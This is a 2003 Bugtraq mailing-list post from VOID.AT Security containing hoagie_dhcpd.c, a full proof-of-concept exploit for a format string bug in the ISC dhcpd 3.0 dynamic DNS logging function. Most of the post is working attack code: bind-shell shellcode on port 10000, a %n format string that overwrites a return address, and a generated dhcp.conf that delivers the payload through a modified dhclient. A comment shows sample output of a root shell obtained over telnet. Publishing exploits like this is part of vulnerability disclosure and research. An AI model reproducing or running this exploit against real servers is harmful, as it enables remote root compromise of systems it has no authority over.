isc dhcpd 3.0 format string exploit
Date: Sat, 11 Jan 2003 01:37:07 +0100
From: "VOID.AT Security" <crew@void.at>
To: bugtraq@securityfocus.com
Subject: isc dhcpd 3.0 format string exploit
--eJnRUKwClWJh1Khz
Content-Type: multipart/mixed; boundary="opJtzjQTFsWo+cga"
Content-Disposition: inline
--opJtzjQTFsWo+cga
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Proof of Concept
format string exploit for
isc dhcpd 3.0 dynamic dns update log function bug
--
VOID.AT Security
--opJtzjQTFsWo+cga
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="hoagie_dhcpd.c"
Content-Transfer-Encoding: quoted-printable
/***********************************************************
* hoagie_dhcpd.c
*
* local and remote exploit for isc dhcpd 3.0 (perhaps others)
*
* hi 19c3 guys ;)
*
* gcc hoagie_dhcpd.c -o hoagie_dhcpd
*
* Author: Andi <andi@void.at>
*
* Greetz to Greuff, philipp and the other hoagie-fellas :-)
*
* For this exploit we use the very very useful dhcp client
* option: hex-coloumn list as fqdn. For this trick we change
* in common/tables.c the parsing option to "X".=20
*
* # ./hd=20
* hoagie_dhcpd.c - remote isc dhcpd 3.0 format string exploit
* using return address location: 0xbfffdd4c
* return address: 0xbfffde38
* dummy vprintf address: 0xbfffdd70
* now run: dhclient -d -cf dhcp.conf eth0
* # ./dhclient -d -cf dhcp.conf eth0
* Internet Software Consortium DHCP Client V3.0
* Copyright 1995-2001 Internet Software Consortium.
* All rights reserved.
* For info, please visit http://www.isc.org/products/DHCP
*=20
* Listening on LPF/eth0/00:02:3f:af:89:fb
* Sending on LPF/eth0/00:02:3f:af:89:fb
* Sending on Socket/fallback
* DHCPDISCOVER on eth0 to 255.255.255.255 port 67 interval 3
* DHCPDISCOVER on eth0 to 255.255.255.255 port 67 interval ...
* ^C
* # telnet dhcpserverip 10000
* id;
* uid=3D0(root) gid=3D0(root) groups=3D0(root)
*
* after I've written the return address location and used the
* last %n parameter, vfprintf still pops values from the stack
* so what happened: the dhcp server tries to write the written
* bytes to something like 0x2578.... which is part of the format
* string. so you have to add another dummy address pair where
* vfprintf can write dummy bytes.
*
* THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-
* CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY=20
* DAMAGE DONE USING THIS PROGRAM.
*
************************************************************/
#include <stdio.h>
#include <stdlib.h>
char shellcode[] =3D=20
"\x31\xdb" // xor ebx, ebx
"\xf7\xe3" // mul ebx
"\xb0\x66" // mov al, 102
"\x53" // push ebx
"\x43" // inc ebx
"\x53" // push ebx
"\x43" // inc ebx
"\x53" // push ebx
"\x89\xe1" // mov ecx, esp
"\x4b" // dec ebx
"\xcd\x80" // int 80h
"\x89\xc7" // mov edi, eax
"\x52" // push edx
"\x66\x68\x27\x10" // push word 4135
"\x43" // inc ebx
"\x66\x53" // push bx
"\x89\xe1" // mov ecx, esp
"\xb0\x10" // mov al, 16
"\x50" // push eax
"\x51" // push ecx
"\x57" // push edi
"\x89\xe1" // mov ecx, esp
"\xb0\x66" // mov al, 102
"\xcd\x80" // int 80h
"\xb0\x66" // mov al, 102
"\xb3\x04" // mov bl, 4
"\xcd\x80" // int 80h
"\x50" // push eax
"\x50" // push eax
"\x57" // push edi
"\x89\xe1" // mov ecx, esp
"\x43" // inc ebx
"\xb0\x66" // mov al, 102
"\xcd\x80" // int 80h
"\x89\xd9" // mov ecx, ebx
"\x89\xc3" // mov ebx, eax
"\xb0\x3f" // mov al, 63
"\x49" // dec ecx
"\xcd\x80" // int 80h
"\x41" // inc ecx
"\xe2\xf8" // loop lp
"\x51" // push ecx
"\x68\x6e\x2f\x73\x68" // push dword 68732f6eh
"\x68\x2f\x2f\x62\x69" // push dword 69622f2fh
"\x89\xe3" // mov ebx, esp
"\x51" // push ecx
"\x53" // push ebx
"\x89\xe1" // mov ecx, esp
"\xb0\x0b" // mov al, 11
"\xcd\x80"; // int 80h
char nop[] =3D "\x90\x90\x90\x90";
int retloc =3D 0xbfffdd4c; /* use gdb to get it ;) */
int retaddr =3D 0xbfffde38; /* hmm yes that sounds quite interesting */
int dummyaddr =3D 0xbfffdd70; /* dummy stack pointer for vprintf */
void help() {
printf("\t-l\t ... return address location\n");
printf("\t-r\t ... return address\n");
printf("\t-d\t ... dummy vfprintf address\n");
exit(0);
}=20
int main(int argc, char **argv) {
char buffer[4096], output[4096], tmp[6], pad[4][20];
FILE *fp;
unsigned char rl[4], ra[4], da[4];=20
int i, opt;
unsigned int start, diff, ret;
extern char *optarg;
printf("hoagie_dhcpd.c - remote isc dhcpd 3.0 format string exploit\n");
if (argc > 1) {
while ( (opt =3D getopt(argc, argv, "hl:r:d:")) !=3D EOF) {
switch(opt) {
case 'h': help(); break;
case 'l': sscanf(optarg, "0x%x", &retloc); break;
case 'r': sscanf(optarg, "0x%x", &retaddr); break;
case 'd': sscanf(optarg, "0x%x", &dummyaddr); break;
}
}
}
printf("using return address location: 0x%x\n", retloc);
printf("return address: 0x%x\n", retaddr);=20
printf("dummy vprintf address: 0x%x\n", dummyaddr);
/* convert return address location */
rl[0] =3D (char) (retloc >> 24);
rl[1] =3D (char) (retloc >> 16);
rl[2] =3D (char) (retloc >> 8);
rl[3] =3D (char) retloc;
/* convert dummy address */
da[0] =3D (char) (dummyaddr >> 24);
da[1] =3D (char) (dummyaddr >> 16);
da[2] =3D (char) (dummyaddr >> 8);
da[3] =3D (char) dummyaddr;
/* calculate paddings */
ra[3] =3D (char) (retaddr >> 24);
ra[2] =3D (char) (retaddr >> 16);
ra[1] =3D (char) (retaddr >> 8);
ra[0] =3D (char) retaddr;
start =3D 0xd4;
for (i =3D 0; i < 4; i++) {
if (start =3D=3D ra[i]) {
strcpy(pad[i], "");
} else {
if (start > ra[i]) {
ret =3D ra[i];
while (start > ret) ret +=3D 0x100;
diff =3D ret - start;
} else {
diff =3D ra[i] - start;
}
sprintf(pad[i], "%%%du", diff);=20
start +=3D diff;
}
}
/* build the special format string */
sprintf(buffer,=20
"%c%c%c%c\x70\xdd\xff\xbf%c%c%c%c\x70\xdd\xff\xbf"
"%c%c%c%c\x70\xdd\xff\xbf%c%c%c%c"
"%%08x%%08x%%08x%%08x%%08x%%08x%%08x%%08x%%08x%%08x"
"%%08x%%08x%%08x%%08x%%08x%%08x%%08x%%08x"=20
"\x90\x90\x90\x90%c%c%c%c"
"\x90\x90\x90\x90%c%c%c%c"
"\x90\x90\x90\x90%c%c%c%c"
"\x90\x90\x90\x90%c%c%c%c"
"%s%%n"=20
"%s%%n"
"%s%%n"=20
"%s%%n"=20
"%s%s",=20
rl[3], rl[2], rl[1], rl[0],=20
rl[3] + 1, rl[2], rl[1], rl[0],=20
rl[3] + 2, rl[2], rl[1], rl[0],
rl[3] + 3, rl[2], rl[1], rl[0],=20
da[3], da[2], da[1], da[0],
da[3], da[2], da[1], da[0],
da[3], da[2], da[1], da[0],
da[3], da[2], da[1], da[0],
pad[0], pad[1], pad[2], pad[3], nop, shellcode);
/* convert to dhcp.conf syntax
* hex style input format rules -> change your dhclient source -> table=
s.c and change fqdn to type X
* to add binary values=20
*/
memset(output, 0, sizeof(output));
for (i =3D 0; i < strlen(buffer) - 1; i++) {
sprintf(tmp, "%02x:", (unsigned char)buffer[i]);
strcat(output, tmp);
}
sprintf(tmp, "%02x", (unsigned char)buffer[i]);
strcat(output, tmp);
/* create dhcp.conf and write options */
fp =3D fopen("dhcp.conf", "w");
fprintf(fp, "send fqdn.server-update on;\n");
fprintf(fp, "send fqdn.fqdn %s;", output);
fclose(fp);
/* have fun */
printf("now run: dhclient -d -cf dhcp.conf eth0\n");
}
--opJtzjQTFsWo+cga--
--eJnRUKwClWJh1Khz
Content-Type: application/pgp-signature
Content-Disposition: inline
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org
iEYEARECAAYFAj4fZzMACgkQ7/4hjx03q1f/aACfZsDSzmi/mbGHpyvGNUq8HCuo
YCwAnjMavIFsw6eJGjriMCYUHeulr8lU
=Jlvq
-----END PGP SIGNATURE-----
--eJnRUKwClWJh1Khz--